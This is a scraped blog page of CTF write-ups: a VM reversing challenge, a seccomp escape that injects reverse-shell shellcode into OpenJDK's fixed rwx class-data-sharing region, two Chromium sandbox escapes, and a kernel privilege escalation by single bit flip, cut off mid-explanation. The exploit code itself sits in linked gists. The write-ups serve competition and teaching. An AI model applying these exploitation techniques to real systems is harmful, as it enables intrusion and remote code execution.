data-original-height="328" data-original-width="701" height="300" src="https://1.bp.blogspot.com/-TDsC4iSm0tk/YSflMczGk4I/AAAAAAAACGY/k3km2jx9_cA00DK56KsrbcanDoYj1rIpACLcBGAsYHQ/w640-h300/28.png" width="640" /></a></div><div><br /></div><div>
At this point, there are also 3 anti-debug functions that get utilized throughout.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-i4KMhsl0DOw/YSflMtMe8gI/AAAAAAAACGg/DnESP4ZOJn44n-H5Glj76boaM0Gj_gQAQCLcBGAsYHQ/s389/29.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="389" data-original-width="379" height="640" src="https://1.bp.blogspot.com/-i4KMhsl0DOw/YSflMtMe8gI/AAAAAAAACGg/DnESP4ZOJn44n-H5Glj76boaM0Gj_gQAQCLcBGAsYHQ/w624-h640/29.png" width="624" /></a></div><div><br /></div><div>This calls the real program's verification function to ensure that patching didn't occur.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-agPAtBvWOW8/YSflM21BJQI/AAAAAAAACGk/eGFk92qwkQsRxu9diz5I3-LbPa2amcJWwCLcBGAsYHQ/s802/30.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="802" data-original-width="799" height="640" src="https://1.bp.blogspot.com/-agPAtBvWOW8/YSflM21BJQI/AAAAAAAACGk/eGFk92qwkQsRxu9diz5I3-LbPa2amcJWwCLcBGAsYHQ/w638-h640/30.png" width="638" /></a></div><div><br /></div><div>
This above (the entire thing isn't shown) is just a virtualized version of the basic PTRACE_ATTACH pair with PTRACE_TRACEME pair anti debug in the constructors. The other anti-debug (at 0x3133718e) is more special. While it does a similar thing, do take a careful look at the very end</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-6XyGSU_TYEs/YSflMycZsJI/AAAAAAAACGo/HHZ3By7PdncnQye2gqSxaSC1WpJNTZzzACLcBGAsYHQ/s750/31.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="552" data-original-width="750" height="472" src="https://1.bp.blogspot.com/-6XyGSU_TYEs/YSflMycZsJI/AAAAAAAACGo/HHZ3By7PdncnQye2gqSxaSC1WpJNTZzzACLcBGAsYHQ/w640-h472/31.png" width="640" /></a></div><div><br /></div><div>Notice how it's retrieving the regs of the parent process, modifying the R15 register, and then setting the registers of the parent process. Back in the vm syscall handler, you might have noticed how rsi was stored into r15 and then restored back after the syscall. In this case, this anti debug measure is modifying the control flow of the parent process once it's waiting for the child process to exit via wait4 by incrementing the vm rip to skip right to the return rather than decrypting another failure message and exiting.<br /><br />Before we discuss main now, I will discuss some of the functions used for flag checking. At 0x31337930, the vm initializes some values in the vmdata. I'm calling these state1, state2, and rounds for reasons that will become clear soon.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-dRUpCd9WSPM/YSflM4AwO1I/AAAAAAAACGs/PdpMhPTWuvUXLuwOlfMFME9x4qKO_TYkQCLcBGAsYHQ/s654/32.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="343" data-original-width="654" height="336" src="https://1.bp.blogspot.com/-dRUpCd9WSPM/YSflM4AwO1I/AAAAAAAACGs/PdpMhPTWuvUXLuwOlfMFME9x4qKO_TYkQCLcBGAsYHQ/w640-h336/32.png" width="640" /></a></div><div><br /></div><div>The following function then uses those global variables:</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-IIbJstf4HBM/YSflNFy-zjI/AAAAAAAACGw/IQLOnZItSCwUTYMB7LOxkuWpTDkMaXwAwCLcBGAsYHQ/s885/33.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="438" data-original-width="885" height="316" src="https://1.bp.blogspot.com/-IIbJstf4HBM/YSflNFy-zjI/AAAAAAAACGw/IQLOnZItSCwUTYMB7LOxkuWpTDkMaXwAwCLcBGAsYHQ/w640-h316/33.png" width="640" /></a></div><div><br /></div><div>This is basically an xorshift128p prng, that has an added factor of a rounds variable of byte size to keep it looping based on the results from the pseudo random number generated.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-DzVYUg50UeI/YSflNjtawTI/AAAAAAAACG8/iq7Y69lDxvUjuPkKHixyQb3-Kjd4p2UkQCLcBGAsYHQ/s807/34.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="807" data-original-width="722" height="640" src="https://1.bp.blogspot.com/-DzVYUg50UeI/YSflNjtawTI/AAAAAAAACG8/iq7Y69lDxvUjuPkKHixyQb3-Kjd4p2UkQCLcBGAsYHQ/w572-h640/34.png" width="572" /></a></div><div><br /></div><div>If you xor decrypt with the given constants on the variables in the function stack frame, a quick search should lead you to the fnv1a64 hash function, which is a non cryptographic hash function.<br /><br />The following is the primary function that is used to transform given input.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-X5Xa8FqS5KM/YSflNn3Y1yI/AAAAAAAACG0/V6x9jmnXd_wDztgFawGmq23u8MN9GlNrACLcBGAsYHQ/s1213/35.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="784" data-original-width="1213" height="414" src="https://1.bp.blogspot.com/-X5Xa8FqS5KM/YSflNn3Y1yI/AAAAAAAACG0/V6x9jmnXd_wDztgFawGmq23u8MN9GlNrACLcBGAsYHQ/w640-h414/35.png" width="640" /></a></div><div><br /></div><div>It iniitalizes the seed, and then increments a counter by 8 64 times, with our input being the first argument to the function. Each time in the loop, the following happens:</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-SuheOo4z2H4/YSflNrUbcfI/AAAAAAAACG4/NQ92uLJnsaoeEXbWNCyeve0pO7mX0QxDgCLcBGAsYHQ/s744/36.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="744" data-original-width="649" height="640" src="https://1.bp.blogspot.com/-SuheOo4z2H4/YSflNrUbcfI/AAAAAAAACG4/NQ92uLJnsaoeEXbWNCyeve0pO7mX0QxDgCLcBGAsYHQ/w558-h640/36.png" width="558" /></a></div>
<div><br /></div>It xors an 8 byte value from an array at 0x13370520 with 0xf33dbeef1337beef, and divides it by 0x7baaadd15ea5e5. It does this for two consecutive 8 byte values and then builds a 2 byte character array by treating the results of the previous arithmetic operations as indices to send to the fnv1a64 hash function, storing the 8 byte result in a uint64_t array at 0x13370420, and then xors that result with the return value from the prng. If one were to apply the “decryption” algorithm on the “index” array, one may realize that the values only range from 0 to 63 but are shuffled.<br /><br />Anyways, all that is left is now is the main function.</div><div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-feF4SC2gtbQ/YSflOArEuXI/AAAAAAAACHA/UsccI-o0uzwBYSoaW7tZfm3NkB5t2RWAQCLcBGAsYHQ/s805/37.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="805" data-original-width="729" height="640" src="https://1.bp.blogspot.com/-feF4SC2gtbQ/YSflOArEuXI/AAAAAAAACHA/UsccI-o0uzwBYSoaW7tZfm3NkB5t2RWAQCLcBGAsYHQ/w580-h640/37.png" width="580" /></a></div><div><br /></div><div>This first part of main is quite self explanatory. Notice how it ensures that your strlen is 0x40 (which matches up with the observation of the “decrypted” indices from earlier on).</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-hkFHOpgybsI/YSflOpS9WGI/AAAAAAAACHI/OFslYiZ9BY8okdmr2T0QT0X-fPy8cAOdACLcBGAsYHQ/s826/38.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="826" data-original-width="723" height="640" src="https://1.bp.blogspot.com/-hkFHOpgybsI/YSflOpS9WGI/AAAAAAAACHI/OFslYiZ9BY8okdmr2T0QT0X-fPy8cAOdACLcBGAsYHQ/w560-h640/38.png" width="560" /></a></div>
<div><br /></div>Then it takes the transformed input array and compares it to a resultant array (after xoring each 8 bytes with 0x2d969360de674bbb). If all the comparison is good, it calls the flag giver function from the real program and ends.<br /><br />By extracting our knowledge from this vmcode and data from the vmdata section, we can come up with the following function to generate the correct input:</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4426da92eaaf03e9bfef054c71b3d3cf.js"></script></div><div><br /></div><div>This results in [DUCK.IO]::QUACK::TO_HUMAN("QUACKITY QUACKME MOTHERQUACKERS!!");<br /><br />Entering this passes the checks and finally gets us the flag!</div><div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-nHQEoubL4Zc/YSflOhsHkbI/AAAAAAAACHE/yODYenQ_atQCSgAKZeQiobR8STC1zyTogCLcBGAsYHQ/s844/39.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="844" data-original-width="777" height="640" src="https://1.bp.blogspot.com/-nHQEoubL4Zc/YSflOhsHkbI/AAAAAAAACHE/yODYenQ_atQCSgAKZeQiobR8STC1zyTogCLcBGAsYHQ/w590-h640/39.png" width="590" /></a></div><br /><div>
Overall, the solvers had fun in this challenge, and I definitely enjoyed seeing just how powerful the Binary Ninja API can be (I have utilized it a few times before, most recently on the 2k vm challenge from redpwn ctf 2021). The link to the rough plugin (that is not completely accurate) is <a href="https://github.com/BitsByWill/vmquack-binja-plugin">here</a> for you to play with. A huge shoutout must also go to my teammate st4ckh0und for giving me the inspiration for a CISC VM reversing challenge and helping me become a better reverser. If you haven't already, you should check out some other reversing challenges from corCTF by other authors. vmstack was a windows VM reversing challenge that had a CISC abstracted to RISC abstracted to subleq vm interpreter running a vm which ran another subleq interpreter, AliceInSleeperio showcased some public tooling utilizing WinLicense Unpacker and Oreans Unvirtualizer, AliceInCeptionland was a C# video game crackme, generic-obfuscator was a classic algorithms reversing challenge, and Circus was a rust task (our team name is Crusaders of Rust after all).</div></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-73642586059452351702021-08-26T10:58:00.011-07:002021-08-26T21:11:22.377-07:00corCTF 2021 ret2cds writeup: Escaping a Seccomp Sandbox via Class Data Sharing regions in OpenJDK<p>This year, my team hosted a very successful <a href="https://ctftime.org/event/1364/" target="_blank">corCTF</a>! Though we did make it much more difficult than expected, we still received overwhelmingly positive reviews. I thought it would be a good idea to make some writeups for the challenges I designed, which included ret2cds (pwn, 6 solves), vmquack (rev, 3 solves), and the series of kernel challenges designed by D3v17 and me (Fire of Salvation and Wall of Perdition); unfortunately, despite teams coming very close, the difficulty of other pwn tasks combined (firefox pwn, and two novel heap note challenges on glibc 2.32 and 2.34) caused there to be 0 solves in 48 hours. For this post, I will detail a brief writeup for the ret2cds challenge, in which one must abuse the OpenJDK Class Data Sharing region in the netcat process (rewritten in java to behave like a xinetd service or socat process) to escape the sandbox and pop a reverse shell.</p>
<br />Oftentimes during CTFs, pwners might joke about burning their socat or xinetd 0 days on pwnables that are deemed quite insane. This idea is what inspired me to make this challenge, Opening up the ret2cds binary in IDA shows the following:<div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-4JNivwxIETs/YSfRm7CjfNI/AAAAAAAACEo/0kydJ4RX5u8JeP5Ofvdp8nrCm7jUCF1ngCLcBGAsYHQ/s602/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="218" data-original-width="602" height="232" src="https://1.bp.blogspot.com/-4JNivwxIETs/YSfRm7CjfNI/AAAAAAAACEo/0kydJ4RX5u8JeP5Ofvdp8nrCm7jUCF1ngCLcBGAsYHQ/w640-h232/1.png" width="640" /></a></div><br /><div>There is a pretty clear overflow here and can lead to a ret2libc attack. However, in one of the constructor functions before main, a seccomp sandbox is initiated blacklisting every syscall but read, write, mprotect, mmap, munmap, process_vm_readv, process_vm_writev, exit, exit_group, gettimeofday, reboot. Most of these aren't very useful for popping a shell to get the flag, except for the process_vm_readv/writev family of syscalls. Looking at the provided docker files, we see that the ret2cds is hosted by the following under the user ret2cds:</div><div><br /></div><div>while true; do java -jar /opt/nc-java/nc-java.jar ./ret2cds 1337; done</div><div><br /></div><div>The manpages for these two syscalls are very helpful (<a href="https://man7.org/linux/man-pages/man2/process_vm_readv.2.html">process_vm_readv</a>, <a href="https://man7.org/linux/man-pages/man2/process_vm_writev.2.html">process_vm_writev</a>). Basically, these two syscalls allow transfer of data between local and remote processes governed by the PTRACE_MODE_ATTACH_REALCREDS check. It's also important to note that during my fiddling, unlike the PEEK and POKE family of options in PTRACE, these syscalls respect the remote process's memory map permissions. Since the java netcat is probably the only thing running under the same uid under the docker, its pid can be enumerated by bruteforcing pids with a potential known address in its process by checking the return value of process_vm_readv. Now, what is a fixed address we can abuse, and where can we write to?</div><div><br /></div><div>On my first time ever attaching to that process, I saw the following page permissions in the beginning.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-mICwhN3iCUc/YSfSVCFugNI/AAAAAAAACEw/yYCHHllwS7ch3V5p6kpMICeDKrAX-BsSgCLcBGAsYHQ/s1256/2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="361" data-original-width="1256" height="184" src="https://1.bp.blogspot.com/-mICwhN3iCUc/YSfSVCFugNI/AAAAAAAACEw/yYCHHllwS7ch3V5p6kpMICeDKrAX-BsSgCLcBGAsYHQ/w640-h184/2.png" width="640" /></a></div><br /><div>An rwx region! And after a few more new instances of the process, it's also at a fixed location! This sounds like a perfect address to use for pid enumeration and for attacking with process_vm_writev. At this point, I was somewhat curious what this rwx region in openjdk is for. Before even knowing what it actually did, I just wrote a sample execve("/bin/sh", 0, 0); shellcode into that region, and a shell popped in the nc-java process with nothing crashing.</div><div><br /></div><div>I suspected perhaps it was some JIT region, but digging deeply into OpenJDK source with my teammate chop0, we came across the <a href="https://github.com/openjdk/jdk/blob/553f3b149742a78b9684d4999cf602e0ee1d5296/src/hotspot/share/memory/metaspaceShared.cpp">following source file</a>. Some interesting observations were that in the comments, they mentioned that 0x800000000 is the default address for this <a href="https://docs.oracle.com/javase/8/docs/technotes/guides/vm/class-data-sharing.html">class data sharing section</a>, which is just used to reduce loadup times for smaller jar applications (such as by archiving commonly loaded class data and having it shared between multiple JVMs). The first region is also used as storage for both trampoline code portions and C++ vtables. When looking at how OpenJDK initializes this region in memory, we the following <a href="https://github.com/openjdk/jdk/blob/553f3b149742a78b9684d4999cf602e0ee1d5296/src/hotspot/share/memory/metaspaceShared.cpp#L1201">line</a> (it allocates the first three pages for the aforementioned region first, then a rw region, and finally a ro region). Interesting... a region mixing code with vtables and with read_only set to False, a curious implementation to say the least...</div><div><br /></div><div>Intuitively, as a pwner, when I see an rwx region, I just write to it, hoping it just works before debugging. In this case, it worked very well as I mentioned earlier, even with a reverse shell payload once you reconnect to the nc java handler. </div><div><br /></div><div>Here's my final exploit:</div><div><script src="https://gist.github.com/BitsByWill/b06b2e21c1d195f64e4f4375cd6cdd7a.js"></script></div><div><br /></div><div>
I used the first program to dump the shellcode that would inject into the CDS rwx region of the nc-java process. A brief nop sled was attached as otherwise the exploit seemed somewhat unstable (since the misc code that gets executed upon a reconnect might not start exactly at the beginning of the region). Then, I used the second python pwntool script to pwn the ret2cds binary, to then inject the shellcode and pop a reverse shell (I just borrowed <a href="http://shell-storm.org/shellcode/files/shellcode-857.php">my favorite one</a> from shellstorm).</div><br />
Once you run this, it should pop a reverse shell in return with the following flag: corCTF{r0p_t0_5h3llc0d3_t0_pWn1n1g_j@v@_rwX_cDs!!!}<br /><br />I was quite surprised at the low solve count. I thought that the blacklisted syscalls would make it quite obvious which syscalls to abuse, and hence look at what are good places to target in the java JVM. Most people who solved also agreed with me regarding the difficulty, but did mention that the description, which talked about java and mentioned an issue with running the docker under Ubuntu, worried players about a very complex exploitation path. In the end, it still seemed like a pretty fun challenge (as we needed another ROP challenge besides just from a ret2libc) that showcased some interesting behavior about OpenJDK (do note that newer versions of OpenJDK seem to be safe from this behavior).<br /><div> </div></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-37185047218403921902021-07-12T17:43:00.015-07:002021-07-12T18:19:41.381-07:00RedpwnCTF 2021 Chromium SBX Tasks Writeup (Empires and Deserts)<p>This weekend, I participated in RedpwnCTF with my team Starrust Crusaders under the alias "The Static Lifetime Society", coming in second place overall. Since this was my first time doing a Chromium SBX challenge, I thought it would be a good idea to make a writeup. I'm still relatively unfamiliar with Mojo concepts and sbx escape, so feel free to point out any mistakes I make.</p><p>Here are some relevant resources I used to help me understand Chromium's architecture and sandbox escape techniques. I would recommend giving them a read before continuing.</p><p><a href="https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/mojo_and_services.md" target="_blank">Intro to Mojo</a></p><p><a href="https://robertchen.cc/blog/2021/07/07/sbx-intro" target="_blank">NotDeGhost's Intro Post about SBX</a></p><p><a href="https://zicodeng.medium.com/explore-the-magic-behind-google-chrome-c3563dbd2739" target="_blank">Chromium Architectural Overview</a></p><p><a href="https://github.com/allpaca/chrome-sbx-db" target="_blank">Git Repo of Previous Real World SBX Escapes</a></p><p><a href="https://kiprey.github.io/2020/10/mojo/" target="_blank">PlaidCTF Mojo Writeup</a></p><p><a href="http://eternal.red/2019/monochromatic-writeup/" target="_blank">Google Quals 2019 Monochromatic Writeup</a></p><p><br /></p><p>Empires:</p><p>We were given a Chromium binary, mojojs bindings, and a source patch. The only difference between the two parts is that part one is run with the CTF_CHALLENGE_EASY_MODE environment variable set. Chromium is also run with MojoJS bindings enabled. Usually in fullchain exploits, one would have to compromise the renderer first, overwrite the blink::RuntimeEnabledFeatures::is_mojo_js_enabled_ variable, refresh the page, and then attempt to escape the sandbox. Since we already have bindings enabled, we won't have to worry about any of that. Here's the provided patch:</p><p><script src="https://gist.github.com/BitsByWill/88dd6564ab5ed86c3b7be193aa84242e.js?file=chall.diff"></script></p><p>The Wreck struct holds a size, a length_to_use, an optional <a href="https://chromium.googlesource.com/chromium/src/+/refs/heads/main/mojo/public/cpp/base/big_buffer.cc" target="_blank">BigBuffer</a>, and a DesertType enum with variants DESOLATE and EMPTY. Sand is an array of wrecks. The most important struct is Ozymandias, which has the methods Visage and Despair, a pointer reserved for a mmap page and an <a href="https://chromium.googlesource.com/chromium/src/+/refs/heads/main/base/unguessable_token.h" target="_blank">UnguessableToken</a>. UnguessableTokens are cryptographically secure 128 bit random values. Note the author commented that the struct is 0x100 bytes, which can be verified as well when it hits in the new operator in that function (find the mangled name, and attach to the main privileged browser process to break).</p><div>The CreateKingofKings functions allows us to have the renderer request an interface from the browser process for the Ozymandias objects. Despair loops over the wrecks in a sand argument, allocating a new uint8_t array with a size determined by the wreck's size field. It memsets it as 0 in both options (although the first option doesn't seem so from source, I believe the compiler optimized the argument to 0 as you can see in disassembly). For the DESOLATE option, if your BigBuffer has data and a size greater than or equal to the wreck's size field, it transfers the contents to the uint8_t array up to the array's size. Then, it creates a base::span (which is like std::span) based on the allocated uint8_t array's start and your current wreck's length_to_use field. Visage is a backdoor; it requires a uint8_t vector and an <a href="https://chromium.googlesource.com/chromium/src/+/refs/heads/main/base/unguessable_token.h" target="_blank">UnguessableToken</a>. If your token matches the current Ozymandias's UnguessableToken, the vector will be copied to a mmap rwx page and run as shellcode. One last thing to note is that when disassembling the constructor, you can see the UnguessableToken is a static variable. While randomized in different browser instances, it will remain the same within the same browser usage session.</div><div><div><br /></div><div>Since the CTF_CHALLENGE_EASY_MODE env variable is set, we have a trivial heap OOB read because the length_to_use can now be bigger than size and the BigBuffer constructed from the span later will use length_to_use to bound the span. Moreover, the part that is unbounded by the size but bounded by the length_to_use will remain uninitialized. As the author mentioned, this concept is based on this <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1151865" target="_blank">real life sbx escape bug</a>. </div></div><div><br /></div><div><div>Based on these facts, the exploit plan is pretty simple. I don't know much about PartitionAlloc behavior, but it's pretty easy to see from a few leaks of uninitialized memory that chunks of similar sizes get returned in the same regions. This means that we can just spray some Ozymandias objects, and then also spray some chunks that allow for OOB uninitiailized read, and leak the token so we can abuse the backdoor. </div><div><br /></div><div>Now, it should be pretty easy to just send in a reverse shell shellcode and escape the sandbox. However, one issue does remain, in that the mojojs bindings for UnguessableToken requires JS numbers, which won't preserve the accuracy for many possible token values. However, this is a simple patch. I performed the following change in the bindings to encode them as doubles:</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/88dd6564ab5ed86c3b7be193aa84242e.js?file=mojojs_patch.js"></script></div><div><br /></div><div>Then, this was my final exploit (I just used a x86_64 linux rev shell shellcode from <a href="http://shell-storm.org/shellcode/files/shellcode-857.php" target="_blank">shellstorm</a>):</div><p><script src="https://gist.github.com/BitsByWill/88dd6564ab5ed86c3b7be193aa84242e.js?file=empire.js"></script></p><p><br /></p><p>As for the html website to send to the browser bot, I used the following (which was based off of NotDeGhost's post):</p><p><script src="https://gist.github.com/BitsByWill/88dd6564ab5ed86c3b7be193aa84242e.js?file=exploit.html"></script></p><p><br /></p><p>Here was the result from running the exploit on remote from my teammate's VPS (thanks Strellic!):</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-VXpu98FE7KM/YOzhi-ZCnFI/AAAAAAAACD0/kq15F7_Ql8cs1TlzjA2t-zqf_64XPvUKgCLcBGAsYHQ/s643/sbx1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="547" data-original-width="643" height="544" src="https://1.bp.blogspot.com/-VXpu98FE7KM/YOzhi-ZCnFI/AAAAAAAACD0/kq15F7_Ql8cs1TlzjA2t-zqf_64XPvUKgCLcBGAsYHQ/w640-h544/sbx1.png" width="640" /></a></div><p><br /></p><p>Deserts:</p><p>Now, the env variable is disabled. So what could possibly allow us to leak UnguessableTokens then? I have to admit that this step took an embarrassingly long time.</p><p>I first spent several hours reading up on this <a href="https://securitylab.github.com/research/chromium-ipc-vulnerabilities/" target="_blank">post</a> about common Chromium IPC vulns and tried to compare them to the diff. Nothing was found this way.</p><p>Another idea teammates hypothesized was that maybe there is a TOCTOU race condition between when it checks for size and length_to_use and when length_to_use is used. However, data is serialized when passed to privileged browser process, so us trying to race in renderer is useless and will not apply changes there (and the window is too small since we need to abuse sizes of approximately 0x100).</p><p>Lastly, what really caught my attention is that if you have it not hit any of the cases in the switch statement, you will still get an uninitialized read. To do that, you need a new enum value, and unfortunately, Mojo <a href="https://chromium.googlesource.com/chromium/src/+/HEAD/mojo/public/tools/bindings/README.md#Message-Validation" target="_blank">validates</a> all enums (unless the keyword extensible is used) along with several other validation checks. I thought this was an interesting scenario as we can change how we send things from the mojojs bindings and wanted to see if validation can be bypassed somehow. As I was messing around with wreck types, I noticed that I suddenly achieved a leak when I set my BigBuffer tag to 2, which stands for <a href="https://chromium.googlesource.com/chromium/src/+/refs/heads/main/mojo/public/cpp/base/big_buffer.h#69" target="_blank">invalid storage</a>. Debugging the codeflow, I noticed that the contents of the DesertType enum became 0 there somehow (if you set it to zero normally from renderer before serializing and sending, a validation error will occur and your renderer process will be killed). I wasn't too sure why, but according to NotDeGhost after my solve, it is because this enum causes deserialization to fail, so the rest of the struct will not be populated (hence leaving DesertType to 0). The NOTREACHED() statement in the diff is not compiled into release builds, allowing for us to trigger this bug and get uninitialized read when it works with wreck structs.</p><p>This time, however, we can't just spray some allocations and have an OOB leak data outside the chunk. We will need to free some OzymandiasImpl objects, which can be done pretty easily with .ptr.reset() as it is an interface implementation. Here is the final exploit:</p><p><script src="https://gist.github.com/BitsByWill/88dd6564ab5ed86c3b7be193aa84242e.js?file=desert.js"></script></p><p>Here is the result from remote:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-byjcAGIXtXc/YOzhskmSl8I/AAAAAAAACD4/7KMdhovuBlQN2gp-TbFTTt41qYjpnK21ACLcBGAsYHQ/s594/sbx2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="594" data-original-width="531" height="640" src="https://1.bp.blogspot.com/-byjcAGIXtXc/YOzhskmSl8I/AAAAAAAACD4/7KMdhovuBlQN2gp-TbFTTt41qYjpnK21ACLcBGAsYHQ/w572-h640/sbx2.png" width="572" /></a></div><p>Overall, I thought these were amazing challenges and finally pushed me to mess around a bit with Chromium sandbox escapes. Though introductory challenges into this complex topic, many of the concepts and basic techniques can probably be re-applied on more difficult sandbox escape challenges.</p><p>Here is the <a href="https://robertchen.cc/blog/2021/07/12/empires-and-deserts" target="_blank">author's writeup</a>! Make sure to check it out.</p><p><br /></p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-440845593207534102021-04-12T18:08:00.006-07:002021-04-12T18:13:02.106-07:00MidnightsunQuals 2021 BroHammer Writeup (Single Bit Flip to Kernel Privilege Escalation)<p>Last weekend, I played Midnightsun Quals and had a lot of fun with the kernel challenge brohammer. Since I learned a ton of new things from it, I thought it would be nice to make a writeup for it. Before I start, I would like to thank my fellow teammate c3bacd17 for working on this challenge with me and offering me some amazing insight in the way to approach this. As I proceed with the writeup, feel free to let me know if I made any mistakes in my explanations!</p><p>Starting off, we notice that KASLR, SMEP, and SMAP is off; this should make exploitation much easier. Additionally, we were given the source:</p><p><script src="https://gist.github.com/BitsByWill/bfdb2c6cd8a4b5a26f5c350a9fa5b0d1.js?file=brohammer_src.c"></script></p><div>The kernel had a syscall added that gave us an arbitrary one bit flip on any specified address. Usually in a CTF, one of the first things to do with bit flipping challenges is to enable unlimited bits (usually due to signed comparisons), but here, an unsigned long is used, so achieving unlimited bit flips is impossible (if it was, this challenge would have been trivial). Now looking into this challenge name “brohammer,” it sounds suspiciously similar to <a href="https://googleprojectzero.blogspot.com/2015/03/exploiting-dram-rowhammer-bug-to-gain.html" target="_blank">rowhammer</a>, an attack against DRAM to induce bit flips, which could lead to privilege escalation if page table entries were corrupted to point to physical memory containing a page table of the exploit process. We can use a similar idea to target the page directory/table related information.</div><div><br /></div><div>In this challenge's kernel, there is 4 level paging. According to the Intel Manual Volume 3 section 4.5, this means that each virtual address maps to physical address based in the following way: the CR3 register stores the physical address of the PML4, and bits 47:39 from the vaddr specify the offset in the table for the respective page directory pointer table's physical location. If the 7th bit (PS flag) is set in this obtained value, then the entry just refers to a 1 gb page and the rest of the vaddr bits are used as linear offsets. Otherwise, it provides the pointer to the physical location of a page directory table and the vaddr's bits from 29:21 specify the offset in the table. If the PS bit is set in this obtained value, then it maps to a 2 mb page; otherwise, it goes to a page table, and the next 9 bits from vaddr is used to compute the offset for the entry to a 4 kb page, from which the final physical location is obtained.</div><div><br /></div><div>Each entry also holds multiple control bits (refer to Table 4-14 to 4-20), but for this challenge, what really mattered are the following bits: bit 1 (R/W), bit 2, (Usermode/Supervisor), and bit 63 for NX.</div><div><br /></div><div>To ease c3bacd17 and my attempts to look through such data, we briefly wrote a parser to dig around physical memory for the aforementioned tables with the help of qemu memory mode ("pmemsave 0 0x8000000 memdump" to cover the amount of given memory and “info tlb” were really helpful for this challenge, thanks to this <a href="https://www.tasteless.eu/post/2018/12/aotw-snow-hammer/">writeup</a> of the prequel to this challenge). The first idea I had was to attempt to gain usermode access to kernel memory; the brohammer function sounded like a nice target. Looking at the vaddr to paddr conversion in our parser, we note the following (note this section mapped as a 2 mb page):</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-xF3kmPcjTHw/YHTtWqcUDWI/AAAAAAAACBI/2RXd0J2ZTUYEV90yavf8T6xsom10dCqJACLcBGAsYHQ/s777/memdump1.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="777" data-original-width="633" height="640" src="https://1.bp.blogspot.com/-xF3kmPcjTHw/YHTtWqcUDWI/AAAAAAAACBI/2RXd0J2ZTUYEV90yavf8T6xsom10dCqJACLcBGAsYHQ/w522-h640/memdump1.PNG" width="522" /></a></div><div><br /></div><div>Looking at the bits of the value 0000000000000000000000000000000000000001000000000000000111100001, we thought that we could just set bit 2 to enable usermode access to win! However, that leaves the question of writeability, and additionally, we didn't even gain usermode acccess there afterwards. Looking at Section 4.6 of the same volume, we discovered the following:</div><div><br /></div><div>“Access rights are also controlled by the mode of a linear address as specified by the paging-structure entries controlling the translation of the linear address. If the U/S flag (bit 2) is 0 in at least one of the paging-structure entries, the address is a supervisor-mode address. Otherwise, the address is a user-mode address.”</div><div><br /></div><div>Well, the page directory table value already violates that rule, so our target will still be considered to be within supervisor access only. The same applies to R/W.</div><div><br /></div><div>Now, we just kept digging around through the physical memory dump, until c3bacd17 noticed that we could target physmap as well. Without KASLR, it always has the virtual address starting at 0xffff880000000000, and it is a large and continuous region that behaves as a direct mapping to physical memory (the starting location would thus map to 0 in physical memory).</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-mcKKYP1LubA/YHTtfxBVozI/AAAAAAAACBM/-tN3Px-II4cCulY1cV3AmqnnSZRghrPDwCLcBGAsYHQ/s853/memdump2.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="853" data-original-width="649" height="640" src="https://1.bp.blogspot.com/-mcKKYP1LubA/YHTtfxBVozI/AAAAAAAACBM/-tN3Px-II4cCulY1cV3AmqnnSZRghrPDwCLcBGAsYHQ/w486-h640/memdump2.PNG" width="486" /></a></div><div class="separator" style="clear: both; text-align: left;"><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;">Notice how the entire chain so far has the usermode and writeable bit set, and the address at 0x18fb060: 0x18001e3, where the PS bit is set (2 mb page), as well as the writeable bit. If we toggle the usermode bit, then we can actually modify a large portion of memory (2 mb) starting from 0x1800000 from userspace. This is really useful as this region holds the physical address 0x18fb040, which contains the page directory entry for where the kernel loads in memory (another 2 mb page) as 0x1000000 is the default physical load address for Linux Kernel; the address of startup_64 from kallsyms and 